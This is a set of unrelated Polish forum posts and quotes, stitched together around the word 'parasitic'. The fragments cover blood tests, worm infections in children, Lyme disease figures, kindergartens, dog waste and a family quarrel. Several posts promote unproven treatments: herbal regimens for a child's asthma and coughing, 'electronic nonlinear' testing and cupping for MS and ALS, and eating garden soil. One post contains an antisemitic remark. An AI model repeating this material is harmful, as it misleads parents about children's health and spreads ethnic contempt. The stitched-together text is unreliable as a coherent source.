pasożytnicze, astma oskrzelowa, a także katar sienny, łuszczyca, jak też
zażywanie leków (np. penicyliny). Przyczyną spadku ich liczby mogą być
zakażenia, dur brzuszny, czerwonka, posocznica, urazy, oparzenia, wysiłek
fizyczny oraz działanie hormonów nadnerczowych.

Nikt nie bada wpływu metod alternatywnych na przebieg chorób
autoimmunologicznych, więc ja się nie wypowiadam. Chorób autoimmunologicznych
jest coraz więcej i np. w cukrzycy typu 1 jest obecnie modna "teoria
chigeniczna". Polega ona na tym, ze wzrost występownia chorób
autoimmunoogicznych w krajach rozwiniętych jest związany z małym narażeniem w
dzieciństwie na infekcje, np. pasożytnicze. Jakolwiek choroby
autoimmunologicznej nie da się cofnąć, można leczyć się tak, aby unikać
zaostrzeń.

Masz racje, ale tylko czesciowo! Jesli juz Chinki, to tylke te z polnocy... ;-))
Co do zostawiania semitow i pseudosemitow samym soba. TAK, ale tylko wtedy, gdy
ci drudzy przestana zebrac o pieniadze (moje podatki), za ktore moga mordowac
tych pierwszych... Wszelkie choroby pasozytnicze nalezy leczyc, a nie o nich
zapominac!

"Eozynocyty (EOS) - zwiększenie ich wartości wywołują choroby alergiczne,
zakaźne, hematologiczne, pasożytnicze, astma oskrzelowa, a także katar sienny,
łuszczyca, jak też zażywanie leków (np. penicyliny). Przyczyną spadku ich
liczby mogą być zakażenia, dur brzuszny, czerwonka, posocznica, urazy,
oparzenia, wysiłek fizyczny oraz działanie hormonów nadnerczowych."

citrosept jest mi obcy. moja wiedza ogranicza sie tylko do tego ze jest to jakis
preparat grapefriutowy majacy dzialanie grzybobojcze. chyba przepisy w Polsce
dopuszczaja tylko preparaty z okreskonymi atestami, wiec jezeli jest dostepny w
aptekach to ma wszystko co potrzeba.
jako ze pracowalam 3 lata w zakladzie formulacji i stosowania pestycydow moge
sie wypowiedziec na temat dzialanie grapefruita w stosunku do grzybow. jest taki
preparat, drogi jak cholera oparty na wyciagu z pestek, do ochrony roslin przed
chorobami grzybowymi.
sama wlasnorecznie robilam takie badania, dotyczace jego skutecznosci. w ani
jednym tescie nie okazal sie skuteczny ani w sensie zapobiegawczym, ani tym
bardziej grzybobojczy.
nie znam bo nie widzialam dzialania grapefruita na drozdzaki lub inne grzyby
pasozytnicze dla czlowieka.

Granulocyty kwasochlonne, inaczej eozynofile, w skrocie najczesciej EOZ. Naleza
do bialych krwinek, oznacza sie je wiec przy wykonaniu morfologii krwi wraz z
rozmazem. Eozynofile odgrywaja istota role w reakcji na zakazenia pasozytnicze
oraz w procesach zapalnych w przebiegu chorob alergicznych. Stad ich podwyzszone
miano moze sugerowac zakazenia psaozytnicze lub alergie, nie zawsze jednak to
badanie jest miarodajne.

Pozwole sobie zacytowac ksiazke "Choroby zakazne i pasozytnicze" (pod red. Z.
Dziubka, PZWL, Warszawa 1996).
"Podstawa rozpoznania glistnicy jest badanie kalu na obecnosc jaj glisty,
jednak moze ono dawac wynik falszywie ujemny przy obecnosci wylacznie samcow
pasozyta, samic niedojrzalych (pierwsze dwa miesiace inwazji) lub starych.
Niektore laboratoria czesto wydaja wyniki falszywie dodatnie biorac np. pylki
roslin za jaja glisty ludzkiej. Rozpoznanie jaj zaplodnionych na ogol nie
sprawia trudnosci, ale jaja niezaplodnione moga byc latwo przeoczone w badaniu
mikroskopowym lub mylnie rozpoznane. Metody serologiczne maja zastosowanie
tylko w rozpoznaniu glistnicy larwalnej."

Czyli jednak badanie mikroskopowe wykonywane przez sprawdzonego laboranta jest
praktycznie jedynym. A jakie sa dokladnie wyniki Waszych badan? Stwierdzono
obecnosc jaj, czy laborat ma watpliwosci? Dziecko ma objawy glistnicy?

granulocyty kwas. 11% -pasożyty
moje dziecko mialo 8% granulocytow kwasochlonnych. Objawy : to
głośny suchy kaszel przechodzący po kilku dniach w mokry,
niespokojny sen, nadpobudlwość i placzliwośc, gęsia skorka na
pośladkach i bokach tułowia. Po przeleczeniu ziolami Eligiusza
kozłowskiego ( nr 131 na pasożyty , 34 na czyszczenie wątroby-nr 0 i
6 - na odporność) to wszystko minęło. Robilam dodatkowo kapiele w
miodze na pasożyty, coś wylaziło z plecków i kaszel znikal- i te
kąpiele gorąco polecam - ale ziółka trzeba pić zeby zlikwidować
dorosłe osobniki w jelicie.Granulocyty kwasochłonnne swiadczą o tym
ze pasozyty są we krwi, ze przemieszczają się przez tkanki , owsikow
badanie krwi nie wykazuje bo one sa tylko w jelicie. Polecam artykuł
Agnieszki Ostałowskiej : Wybrane choroby pasozytnicze u dzieci i ich
leczenie"oraz Ireny Wartołowskiej "Astma a pasożyty"te ziółka
dostałam od fitoterapeuty ale mozna je taniej zamówić u producenta z
Wilimowa koło Olsztyna. Mały pil ziółka 3 razy dziennie przez 7 dni
po 1/2 , zmieniał zółka co 7 dni.

Chylę czoła, bo masz oczywiście rację Mario. Tak jakoś słowotok ze mnie
wypłynął, a przecież nie raz pisano tu o toksokarozie choćby. Bardziej chodziło
mi o to, żeby odróżniać jedno od drugiego i nie mówić, że skoro większość ma to
po co z tym walczyć. Tu trzeba przecież myśleć co robi ta mniejszość, że jednak
nie ma pasożytów. No i wiadome jest nie od dziś, że choroby pasożytnicze
podobnie jak i infekcje występują częściej i powodują groźniejsze objawy
chorobowe u osób z upośledzonym układem immunologicznym. A i jeszcze obszar
objawów - on jest tak rozległy, że nie zawsze przyjdzie nam do głowy, że to
pasożyty. Mnie np. bolał brzuch ale tylko po zjedzeniu na śniadanie płatków
owsianych z jogurtem - wmawiałam sobie, że to przez to, że wyjmuję jogurt z
lodówki - dziwnym trafem po leczeniu lambliozy w naszej rodzinie - ten ból ustał.

Pewnie że mozna znaleźć w sieci, ów Zentel tez może być na
tasiemczyce ale jest obowiązek zgłaszania chorób pasozytniczych i
odzwierzęcych. Jesli matka pójdzie z wszawica do pediatry ten musi
zgłosić i dziecko do czasu likwidacji problemu dostaje "wilczy
Bilet" na pobyt w szkole czy przedszkolu- te informacje podali nawet
na wywiadówce. Szkoła tez przypadki wszawicy musi zgłaszac.
Podobnie jak rózyczki, ospy itp.
Choroby pasozytnicze i zakaźne sa obowiązkowo rejestrowane a
niektóre mają bezwzględny nakaz leczenia np. gruźlica czy właśnie
tasiemczyca. Moga nawet doprowadzic na leczenie i badania jesli ktos
nie chce tego uczynić dobrowolnie. Niektóre choroby sa leczone pod
nadzorem jesli nie w szpitalu to trzeba się stawiac do wyznaczonej
przychodni lub szpitala aby przyjac dawkę leku przy lekarzu czy
pielegniarce.
W ten sposób dba się o ogół społeczeństwa.
Nie wiem jak się odbywa to w placówkach prywatnych ale w państwowych
jest przestrzegane.

To, że do przedszkola są przyprowadzane chore dzieci mimo pisemnych
zakazów to generalna praktyka, która występuje zawsze i wszędzie, i
na prawdę trudno mieć pretensję do przedszkola, bo panie
przedszkolanki nie są od oceny stanu zdrowia dziecka. Myślę, że w
nowym przedszkolu na pewno nie będzie inaczej.
Jeśli zaś chodzi o potraktowanie was i dziecka przy okazji choroby
glisty, to rzeczywiście tutaj przedszkole nie stanęło na wysokości
zadania. Tym bardziej, że choroby pasożytnicze (owsiki i inne
robale) są bardzo powszechne wśród przedszkolaków.
Co do innych waszych zastrzeżeń, ja osobiście podeszłabym do nich
spokojnie. Np. badanie okulistyczne może było niepotrzebne, ale to
można wyjaśnić z dyrekcją, ale nie ma co jej winić za to, że zostało
przeprowadzone niefachowo. Kazdy rozsądny rodzic zanim założy
dziecku okulary sam pójdzie z nim do okulisty i zbada. Z tym
angielskim to też może być róznie; można chyba na spokojnie wyjaśnić
czy jest czy go nie ma i od jak dawna go nie ma. W przedszkolu u
mojej córki tez nie było angielskiego przez blisko 2 mce, bo pani
była w ciązy i poszła rodzić, ale nikt z tego powodu nie robił
problemów. No i od dziecka też nie ma co wymagać, że się nauczy
angielskiego w przedszkolu - dobrze, jak się oswoi, ale winić
nauczyciela o niską skutecznośc nauczania u przedszkolaka to też
lekka przesada, zwłaszcza jak się nie ma wiecej danych jak wyglądają
takie zajęcia.

Czesc Nat
Moj lekarz podaje leki przeciw pasozytnicze w roznych kombinacjach.
U mnie byl to miesiac pulsu. U innych sa to pulsy jak tinidazolu.
Najczesciej leczenie trwa minimum trzy miesiace.
Kuracje nie maja nic wspolnego z tymi opisanymi na ulotkach.
U mnie leczenie zostalo za pierwszym razem przerwane, bo lykalam lek
jak cukierki, bez zadnej zmiany w objawach. Ostatnio dostalam
recepte na inna molekule, " na sprobowanie". To Zentel czyli
albendazol. Wczesniej probowalam flubendazol.
Kilka dni temu wzielam lek na pasozyty i mialam straszny bol glowy
po nim.,Przerwalam wiec po tygodniu, odpoczne i znowu powtorze probe.
Moj lekarz mowi, ze tak wlasnie sie dzieje, ze niektorzy reaguja na
te molekule, inni na inna - caly czas mowie o lekach na robale. Mowi
tez, ze reakcja zalezy od momentu w leczeniu. Dlatego on probuje
wlaczac u mnie co jakis czas te leki, na probe.
U innych ludzi na forum francuskim, reakcje na albendazol i
ivermectyne sa dosc spektakularne. Herxy sa czasami bardzo
silne....to zalezy od czlowieka i jego choroby.

odpowiedz GIS
trzymaleNA moje zapytanie do GIS otrzymałem taką odp. cyruję "
Szanowny Panie,

w odpowiedzi na Pana mail uprzejmie informuje, iż w
pierwszym półroczu 2009 roku liczba zachorowań na Boreliozę z lyme
wynosiła: 3 563, a zapadalność na 100 tyś ludności wynosiła: 9,35.
Informację tą jak i inne na temat chorób zakaźnych odnajdzie Pan na
stronie internetowej Narodowego Instytutu Zdrowia Publicznego,
Państwowego Zakładu Higieny (www.pzh.gov.pl) w zakładce meldunki
epidemiologiczne, w podzakładce EPIMELD, w spisie treści: meldunki o
zachorowaniach na choroby zakaźne, zakażenia i zatrucia w Polsce
(dwutygodniowe, kwartalne, półroczne, roczne) - rok 2009.
Na stronie internetowej GIS są umieszczone tylko informacje
dotyczące wybranych chorób zakaźnych, które opracowane zostały na
podstawie materiałów Europejskiego Centrum Kontroli i Prewencji
Chorób (ECDC), Centrum Kontroli i Prewencji Chorób (CDC) w Atlancie
oraz publikacji "Choroby zakaźne i pasożytnicze - epidemiologia i
profilaktyka" pod redakcją Prof. dr hab. Wiesława Magdzika, Prof. dr
hab. Danuty Naruszewicz-Lesiuk oraz Prof. dr hab. Andrzeja
Zielińskiego. Natomiast sposób leczenia zależy od indywidualnej
decyzji lekarza pierwszego kontaktu.

Pozdrawiam,

Małgorzata Gamdzyk

Departament Przeciwepidemiczny
Główny Inspektorat Sanitarny
ul. Długa 38/40
00-238 Warszawa "

Choroby ktore nalezy wykluczyc
Jezeli bylo to prosze o przeklejenie/dopisywanie , kolejnosc nie odzwierciedla
czestosci

1.Nowotwor zmeczenie,bol,zmiana masy ciala
2.Grzybica zmeczenie,sennosc,zaburzenia w trawieniu.
2a Stachybotrys chartarum objawy identyczne do bb
najczesciej w wilgotnych mieszkaniach, czarny nalot rosnie na silikonach,
3.Chlamydioza kaszel,bole,zmeczenie
4.niedoczynnosc tarczycy
5.bezdech nocny - przewlekle zmeczenie , Duzo chorych zdrowieje po terapii
CPAP i/lub schudniecie
6.choroba whipple'a - rzadka objawy pocztkowo z brzucha, wymioty po jedzeniu
obnizony cholesterol mezczyzna 30-40 leczenie penicyliny plus biseptol
7.ch pasozytnicze
8.niedobor witamin
9 wirusowe mononukleoza itd
10 depresja
....

Okres wylęgania wynosi 11-21 dni, najczęściej trwa 14-17 dni a wyjątkowo
przedłuża się do 23.Okres zarażliwości trwa 1-2 dni przed pojawieniem się
wysypki aż do czasu przyschnięcia ostatnich wykwitów. Przechorowanie ospy daje
zasadniczo trwałą odporność, ale zdarzają się (rzadko)powtórne zachorowania.
(Choroby zakażne i pasożytnicze- pod redakcją Z. Dziubka)
Mój 2-miesięczny synek miał kontakt z dzieckiem które na następny dzień
wysypało.Na szczęście nas to ominęło (karmię piersią). Ale świadomie nie
narażałabym dziecko na kontakt z osoba w okresie zarażliwości.
Pozdrawiam

II wskazówka dla Hanycz.
Podam Ci, Hanycz, przykład: buduje się (wreszcie) schronisko dla
zwierząt. Niby wszystko gra. Ale... Właśnie, będzie to kolejna
skandaliczna niedoróbka inwestycyjna w wykonaniu "oświetleniowców
choinek" z Urzędu Miasta. Otóż, nie będzie (nareszcie) bud, tylko
boksy. Zadaszone, ogrodzone, jak należy. I wylane zaprawą cementową
posadzki. Fachowcy alarmują: psie odchody, a już szczególnie mocz,
będą przez taką posadzkę nasączane i wchłaniane. Pomijając już
oczywisty fakt, że niemożliwe będzie skuteczne usuwanie nieczystości
z tych posadzek, psy i koty będą żyły nadal w ekstremalnie
niezdrowych i niehumanitarnych warunkach. Rozwijać się będą doskonale
na takim podłożu infekcje bakteryjne, wirusowe, grzybicze i
pasożytnicze. Psy będą chorować, trzeba będzie je leczyć, wyleczone
trafią znowu do zaszczanych i zasranych boksów. Niektóre zwierzaki w
następstwie chorób powyzdychają.

Szefowa schroniska, a także prezeska towarzystwa opieki nad
zwierzętami, Pani Grażyna Fałek, nogi uchodziła, żeby miasto zakupiło
specjalny, chemoutwardzalny podkład (lakier? - nie znam się), który
po zagruntowaniu uczyni posadzkę nieprzepuszczalną, a zmycie przez
obsługę schroniska tak zabezpieczonej posadzki będzie łatwe i co
najważniejsze - skuteczne! Podawała nawet nazwę tego środka (nie
pamiętam).

(cdn)

Chodzi Ci o lamblie? Generalnie choroby pasożytnicze nie wywołują opisanych
objawów, ale to oczywiście sprawa osobnicza. Najbardziej rozdrazniają te
pasożty które powoduja świąd- owsiki, świeżb, wszy itp. Badania -to zależy w
kierunku jakich pasożytów-owsiki-wymaz z odbytu, glista ludzka badanie
koproskopowe kału i serologiczne ELISA z krwi, toxocaroza (glista psia)
serologiczne ELISA, tasiemiec badanie koproskopowe kału (ale tylko niektóre
gatunki tasiemców), włośnica badanie serologiczne. Lamblie- badanie
serologiczne kału, badanie koproskopowe kału, badanie treści dwunastniczej
pobranej sondą na obecnośc trofozoitów. Inne pasożyty to dośc rzadkie
przypadki. Leczyć na ślepo - bez sensu, dość toksyczne żeby tak sobie brać na
wszelki wypadek.

choroby pasożytnicze- Poznań
Czy ktoś wie, gdzie w Poznaniu jest poradnia chorób pasożytniczych? Ponoć
gdzieś na Słowackiego, niestety nie mogę niczego znaleźć w internecie,
a muszę się zbadać w kierunku toksoplazmozy i cytomegalii.
Będę bardzo wdzięczna za informacje, Małgosia, mama Ulci Aniołka i
dwunastotygodniowego dzidziusia w brzuszku.

Zagrożenie ptasią grypą. Nie karmić kaczek !
PAP:
Służby reagowania kryzysowego przygotowują się na nadejście ptasiej grypy.
Apeluje się do miłośników ptaków, aby zrezygnowali z dokarmiania kaczek. Nie
wszyscy mieszkańcy rezygnują jednak z dokarmiania kaczek. Uważają, że zima
będzie ciężka i ptaków nie można zostawić bez opieki.

GW:
Rzeczywiście możliwość zarażenia się od gęsi czy kaczek jest minimalna uważaja
weterynarze. Epidemii ptasiej grypy w Polsce nie ma. Musimy jednak być
przygotowani na każdą ewentualność. Apeluje się żeby nie karmić kaczek. Nie
chodzi tylko o grypę. Kaczki są zagrożeniem dla zdrowia także bez niej. Roznoszą
salmonellozę, choroby pasożytnicze, bakterie coli. Po prostu trzeba trzymać się
od nich z daleka.

Aby wykluczyć lub potwierdzić niektóre choroby: choroby atopowe
choroby pasożytnicze
aspergiloza oskrzelowo-płucna
zakażenie HIV (późny okres)
ziarnica złośliwa
zespół Wiskotta i Aldricha
zespół hiperimmunoglobulinemii E
zespół hipereozynofilowy
szpiczak IgE

SM, podobnie jak inne schorzenia przebiegające z objawami neurologicznymi (
porażenia ALS,borelioza,listerioza,autyzm i inne zespoły - Retta itd ) powinny
być testowane m.in. na wrodzone ( od rodziców, dziadków ) obciązenia wirusowe,
bakteryjne i pasożytnicze.Obecnie najbardziej czułe okazują się testy
elektroniczne-pomiary nieliniowe.Dysponując magazynem próbek, można określić
prawdopodobną przyczyne zaburzenia odporności i rozwoju choroby.W tych
chorobach ważne jest już zastopowanie rozwoju, postępu choroby, nie tylko
całkowite wyleczenie, co jest trudne, bo etiologia jest wieloczynnikowa ( nawet
dieta,tryb życia,smog EM,stres,odległe w czasie odczyny poszczepienne
itd.).Więcej o metodzie m.in. na str.www.paramed.waw.pl.Warto sprobować znależć
przyczynę ! Leczenie należy dostosować do etiologii. N i e m a c u d o w n y
c h l e k o w co leczą bez udziału organizmu. W leczeniu każdej choroby
przewlekłej należy najpierw
odblokować/usprawnić/oczyścić własny układ immunologiczny pacjenta, jego
matrix ( przestrzeń międzykomórkową ).A do tego wystarczą np. zwykłe b a ń k i !

Oczywiscie wyglada to na jakas chorobe ukladowa i uklad immunologiczny prawie na
pewno jest zmieniony.
Problemem jest co powoduje te stymulacje.
Jak na razie mielismy:
zakazenia wirusowe i bakteryjne (trudno leczyc na slepo bo jest ich bardzo duzo
i kazde wymaga innego podejscia)
zakazenia pasozytnicze (metabolity i odchody parazytow ingeruja w dzialanie
ukladu immunogicznego)
proces nowotworowy (lekarze sie tu koncentruja z uwagi na bezposrednie
niebezpieczenstwo dla pacjenta)
proces autoimmunologiczny o nieznanej etiologii

"Wpuść Mruczka do piwnicy"
Towarzystwo Opieki nad Zwierzętami wystosowało apel do spółdzielni
mieszkaniowych, wspólnot i administracji nieruchomości o wpuszczanie w chłodne
dni bezdomnych kotów do piwnic. Akcja pod hasłem "Wpuść Mruczka do piwnicy"
odbywa się już od kilku lat.

Pozwólmy bezdomnym kotom przeżyć zimę. Jedno otwarte okienko ratuje im życie!
To dzięki kotom pozbywamy się w mieście nadmiaru gryzoni, które zimą chętnie
zamieszkują nasze piwnice i przenoszą groźne choroby pasożytnicze ;)

ło boziu, a skad takie ceny???
smieszna jestes, przepraszam. bez kasy, rodzic dzieciaka świadomie mieszkajac u
tesciów w 2 pokojach??? I co myślałaś, że cudnie będzie?
Skąd masz te ceny, przepraszm Ciebie bardzo? 20 m za 200 tys??? Nowy Jork?
Zejdx na ziemię, daj teściowej zyc, kurna, ludzie juz sie naprawcowali w
zyciu, starsi sa, należy im sie troche spokoju. Współczuje im bardzo, wiesz? We
własnym domu 3 dodatkowe osoby, w tym baba, która nie pracuje, nie chce się
wynieśc i jeszcze sie w awantury wdaje.
Sorry za ostre słowa, ale takie pasozytnicze podejsci edo zycia jest
o-b-r-z-y-d-l-i-w-e!!!
Rozumiem, jesli sa jakies tregedie, choroby, naprawde nie można, jak dziecko ma
3 miesiace, jak mąz inwalida, żona inwalidka, nie ma pracy...ale tu? Lenistwo,
fuj, żenada po prsotu.
raz jeszcze- współczucie dla tesciowej, biedna kobieta Taki "raj na ziemi" na
starośc ma, że hej

Słuchaj, podejrzewam, że piszesz o Stolycy, wiec pytam, skąd wytrzasnęłas te
ceny? Apartamentu na Wilanowie szukasz?

"Sepsa/posocznica

To bardzo ciężkie zakażenie powstałe najczęściej w reakcji na
zakażenie toksycznymi chorobotwórczymi drobnoustrojami. Przyczyną
choroby może być zakażenie bakteryjne, grzybicze, wirusowe lub
pasożytnicze. Najczęściej wywołują ją bakterie: meningokoki,
gronkowce, enterokoki, Escherichia coli, Streptococcus pneumoniae,
Klebsiella pneumoniae, Hemophilus influenzae. Czynnikami
ułatwiającymi wystąpienie sepsy są: zły stan układu odpornościowego
organizmu, przewlekłe choroby obniżające odporności i ogólną
wydolność organizmu, uszkodzone, niewydolne ważne narządy, obecność
ciała obcego w organizmie mogącego sprzyjać zakażeniu (np. cewniki),
stan po przeszczepie ważnego narządu i stosowanie leków
zapobiegających odrzuceniu przeszczepu, niedożywienie, w tym
spowodowane głodzeniem się (np. anoreksja), patologicznym brakiem
przyswajalności pokarmu."

Gołębie, gnieżdżąc się na balkonach, gzymsach itp., zanieczyszczają
otoczenie kałem. Stwarzają zagrożenie epidemiologiczne. W ich
gniazdach bowiem występują pasożytnicze roztocze, takie jak
*obrzeżek gołębi*. Obrzeżki są podobne do kleszczy i spokrewnione z
nimi; żywią się krwią zwierząt stałocieplnych. Mogą się przenosić do
mieszkań, stając się nadzwyczaj dokuczliwymi pasożytami człowieka.
Obrzeżki są roznosicielami różnych chorób zakaźnych wśród ludzi, m.
in. boreliozy.
- - - Więcej na ten temat - - -
www.alergologia.org/jscan/alo_js002.html
www.kolce.bema.katowice.pl/ptaki_choroby.html
- - -
Ale uspokój się, wami41: wcześnie wykryta borelioza jest uleczalna -
o ile tylko podejmiesz leczenie. No i obserwuj swój organizm,
tudzież czytaj teorię.

NIe szczepionki sie do tego przyczynily, tylko sterylnosc, trzymamy
te dzieciaki pod kloszem, wszystko jest pasteryzowane, gotowane,
prane, nie pozwalamy im lazic po ziemi i te ziemie jesc, myjemy rece
czy trzeba czy nie. Izolujemy od wszystkiego, no to i mamy alergikow.
Szczepionki pobudzaja uklad odpornosciowy, ktory poprzez sterylne
warunki jest rozleniwiony.
Wyeliminowalismy wszystkie robaki pasozytnicze ze srodowiska, to
teraz te eozynofile, ktore ewoluoawaly razem z nami i pasozytami nie
maja co robic to sie przeciwko pylkom i roztoczom obracaja.
Bylam kiedys na wykladzie pewnego immunologa dzieciecego, ktory
powiedzial, ze gdyby to od niego zalezalo, na nakazalby rodzicom
dawac dzieciom ziemie ogrodowa do jedzenia, az sie roi od jaj
pazotytow, samo dobre dla odpornosci. Tu nie szczepionki winne, te
wyeliminowaly wiele groznych chorob.
Jakos wsrod wiejskich dzieci gdzie higiena nie jest posunieta do
absurdu, nie ma alergikow i astmatykow.
Te atopowe zapalenia skory, a po cholere kapie sie te niemowleta
codziennie w detergentach, pozniej wklepuje sie w ich
ciala "kosmetyki" = chemia, odzierajac ja z naturalnych substancji.
Jak po czyms takim nie miec reakcji?
Swoje dziecko kapalam raz w tygodniu jak byl niemowlakiem, wychowal
sie z dwoma wielkimi psami, ktore wchodza i wychodza kiedy chca, z
ubloconymi lapami, syn pelzal, przytulal sie do nich, czesto
wygladal jak matka ziemia. NIgdy zadnych wysypek, alergii, problemow
skornych nie mial. Szczepiony za to jest na wszystko.

Alergia na gluten to wygląda tak
www.celiakia.org/index.php?lang=pl&subdir=choroba.alergia
ale nietolerancja mogła się Wam przytrafić, czego z całego serca nie
życzę, oczywiście. Najprościej będzie po prostu zrobić badania i
wyeliminować jedną z potencjalnych przyczyn. I powtórz badania na
pasożyty w DOBRYM laboratorium. Jest "pasożytnicze" forum, tam na
pewno znajdziesz namiary.

A jakie sa wymowki na wywozenie do lasu smieci domowych, lodowek, samochodow?
Jakies znasz wymowki rodzicow dzieci srajacych na plazy, nawet jesli obok jest
toaleta? Ta akcja to jest po prostu nagonka na wlascicieli psow. Nie poprawi
wcale czystosci miasta, bo nie tylko kupy miasto zanieczyszczaja. A jesli do
zbierania kup uzywane sa FOLIOWE woreczki, to za kilka lat na wysypiskach beda
dziesiatki ton folii z gownem - gdyby tego gowna nie sprzatac, po prostu by sie
rozlozylo i byloby naturalnym nawozem na trawniku.

Plac zabaw powinien byc ogrodzony i zamkniety.

A kiedy najwieksze polskie miasta w koncu zbuduja oczyszczalnie sciekow? Kazde
jajo glisty czy tasiemca plynie z Krakowa do Warszawy, a potem na plaze
nadmorskie. Slodkie, prawda? A takich jaj sa miliardy. Od czlowieka predzej sie
zarazisz czymkolwiek niz od zwierzecia. Dlatego nalezy myc rece. Choroby
pasozytnicze to choroby brudnych rak.

Sprzatac miasto powinny odpowiednie sluzby - tak jest w zachodniej Europie.

Co do pikantnych chipsów, pisałam w innym wątku o pojawiających się u mnie
suchych plamach na twarzy po spożyciu mocnego alkoholu. Wtedy Sigvaris mówiła mi
o gliscie ludzkiej.
Na stronie www.pasozyty.eu/choroby-pasozytnicze-2/glista-ludzka/
można przeczytać:
"Glisty ludzkie stają się szczególnie niebezpieczne z chwilą podrażnienia, np.
dietą bogatą w przyprawy lub pokarmy kwaśne, podwyższoną temperaturą ciała,
niektórymi lekami, narkozą wziewną, zabiegiem chirurgicznym w jamie brzusznej.
Podrażnione glisty skupiają się w kłąb, doprowadzając do niedrożności jelita,
lub wędrują do dróg żółciowych, wyrostka robaczkowego, trzustki, a nierzadko
również do przełyku, gardzieli i tchawicy."

Opisze Ci co na ten temat mowia w ksiazce "rozpoznawanie i leczenie chorob nerek".

1. wykluczenie zwiazku krwinkomoczu z chorobami spoza ukl. moczowego i chorobami
dalszego odcinka ukladu moczowego

2. Postepowanie taki:
sprawdzic czy sa waleczki z krwinek czerwonych i bialkomocz wiecej niz 1,0 g/dobe
jesli tak: sprawdzic czy sa to dysmorficzne krwinki czerwone w moczu, wtedy
rozwazyc wskazania do biopsji w oparciu o obraz kliniczny
i dalej beda etapu wspolne

jesli nie ma waleczkow albo jesli bialkomocz jest mniejszy niz 1 g/dobe robi sie
badanie usg nerek i ukladu moczowego
jesli wynik jest prawidlowy to jest to wspolne postepowanie (napisze dalej)

jesli jest nieprawidlowy badanie urologiczne

to wspolne postepowanie polega na badaniu w kierunku hiperkalciurii i
hiperurikozurii

Tak to mniej wiecej wyglada.

Przyczyny krwinkomoczu:
zwiazane z chorobami spoza ukl. moczowego: skazy krwotoczne, niedokrwistiosc
sierpowatokrwinkowa, hiperkalciuria, hiperurikozuria

zwiazane z chorobami nerek
naczyniowymi: zatory i zakrzepy tetnicze itp
klebuszkowymi: nefropatia IgA, zespol Alporta, pierwotne i wtorne klebuszkowe
zapalenie nerek
srodmiazszowymi: alergiczne srodmiazszowe zapalenie nerek, nefropatia
analgetyczna, wielotorbielowatosc nerek itp

Zwiazane z innymi chorobami ukl. moczowego
zapalenie pecherza, cewki moczowej, choroby pasozytnicze, kamica moczowa

To tyle na szybko

ale żeś wymyślił
Gość portalu: p-p napisał(a):
> a ich dzieci niech cierpią na choroby
> pasożytnicze i bakteryjne

O kurcze, to dzieci w dzisiejszych czasach bawią się kupami? Ale wymyśliłeś.

Pytanie: jakim sposobem dzieci dostają się do tych kup?
Odpowiedź: depczą trawę.
Pytanie: a czy wolno deptać trawę?
Odpowiedź: nie, to jest dokładnie ten sam paragraf co pozostawianie kup po psie
na trawniku.
Pytanie: a to dlaczego robi się takie wielkie halo o kupy a nie robi się o
dzieci depczące trawę?

Tobie ten Twoj pies chyba narobil w kaczan...

Dzieci czy psy powinny miec zakaz wstepu na Jasne Blonia?

a ja widzac Twoje posty przychylam sie do tego ze wlascieiel psow obowiazkowo powinni przechodzic badania psychiatryczne.

Gość portalu: PIES.OBRONNY napisał(a):

> Gość portalu: p-p napisał(a):
> > a ich dzieci niech cierpią na choroby
> > pasożytnicze i bakteryjne
>
> O kurcze, to dzieci w dzisiejszych czasach bawią się kupami? Ale wymyśliłeś.
>
> Pytanie: jakim sposobem dzieci dostają się do tych kup?
> Odpowiedź: depczą trawę.
> Pytanie: a czy wolno deptać trawę?
> Odpowiedź: nie, to jest dokładnie ten sam paragraf co pozostawianie kup po psie
> na trawniku.
> Pytanie: a to dlaczego robi się takie wielkie halo o kupy a nie robi się o
> dzieci depczące trawę?

Co to jest "parc"? Może chodzi o parcha?
*
parch
1. «grzybicza choroba skóry objawiająca się żółtawymi strupami; też: te
strupy»
2. «choroba roślin wywoływana przez pasożytnicze grzyby, objawiająca się
plamami i naroślami; też: te plamy i narośle»
• parchaty

proponowałabym nie podawać za każdym razem antybiotyków oraz wprowadziłabym
syrop z czosnku, po pierwsze uodporni po drugie ma działanie przeciw
pasożytnicze, niezależnie od pogody codzienny godzinny spacer, dużo naturalnych
witamin w przypadku nawracających chorób polecam szczepionkę uodparniającą. W
obecnej chwili lekarze przepisują nadmiar antybiotyków.

ja też myślalam o takim programie.Bo co z tego że opisujemy swoje
doświadczenia anonimowo w internecie, dociera to jednak do
niewielu. Sama chcę wydrukować artykuły lekarskie mówiące o
związkach pasożytów z chorobami wieku dziecięcego i zostawiać w
przychodniach , w miejscach publicznych.Informowałam też matki w
przedszkolu mojej córki, sąsiadki i znajomyh.Wiem, że kilkoro
dzieci zostało przeleczonych. W Warszawie jest Klinika chorób
zakażnych i pasożytniczych na Wolskiej , pracuje tam niejaka
Agnieszka Ostałowska, jest ona współautorką artykułu "Wybrane
Choroby pasożytnicze u dzieci i ich leczenie" .Uważam, ze warto go
rozpowszechniać. Jest też prof. Różański , który zajmuje się
parazytologią i opisuje szeroko pasożyty ludzkie. Sama
wiadomośc ,że istnieje dzial medycyny i klinika zajmująca się
badaniem pasożytów bytujących w organizmie ludzkim musi być
zaskoczeniem dla ludzi i moze zainteresować i uświadomić ,że jest
to sprawa poważna.Bardzo chętnie przyłączyłabbym się do takiej
akcji.

Było tak do momentu aż w badaniu kupy w labie u Kamirskiej wyszla
lamblia i zaczęłam się interesować pasożytami. Polecam też artykuł
dr Ireny Wartołowskiej Alergie a pasożyty. Pisze tam że po
przeleczeniu pasożytów u pacjentów znikały objawy astmy niezależnie
czy trwaly 2 lata czy 10 .Ten artyk€ł dał mi nadzieję i
przeleczyłam małego w VM na wszystkie pasożyty. Od pażdziernika
jest spokój , duszności się nie pojawiły , ostatnio mały kaszlal ,
ale zakończyło się to jednodniową gorączką, czyli byla to infekcja.
nie podawalam mu lekarstw, a sterydy są odstawione i myśle, że na
zawsze. Że lamblioza powoduje astmę oskrzelową czytałam jeszcze w
artykule Agnieszki OStałowskiej : wybrane choroby pasożytnicze u
dzieci i ich leczenie. Nie licz aby w badaniu kupy wyszły pasożyty,
to jest mało prawdopodobne. Co ciekawego, po przeleczeniu dziecka w
badaniu kupy nadal wyszła lamblia. Zostały więc wybite jakieś inne
pasożyty,albo zmieniły się proporcje bo poprawa jest .

marzenak35/
witam
mam pytanie co do autorki artykulu - nie wygooglalam nic ale
znalazlam po tytule i wyswietlilo mi sie nazwisko Agnieszka
Ołdakowska - czy to ten sam artykul?

Przewodnik Lekarza 11/2003
artykuł:
Wybrane choroby pasożytnicze u dzieci – rozpoznanie i leczenie

Przew Lek 2003, 6, 11/12, 60-69

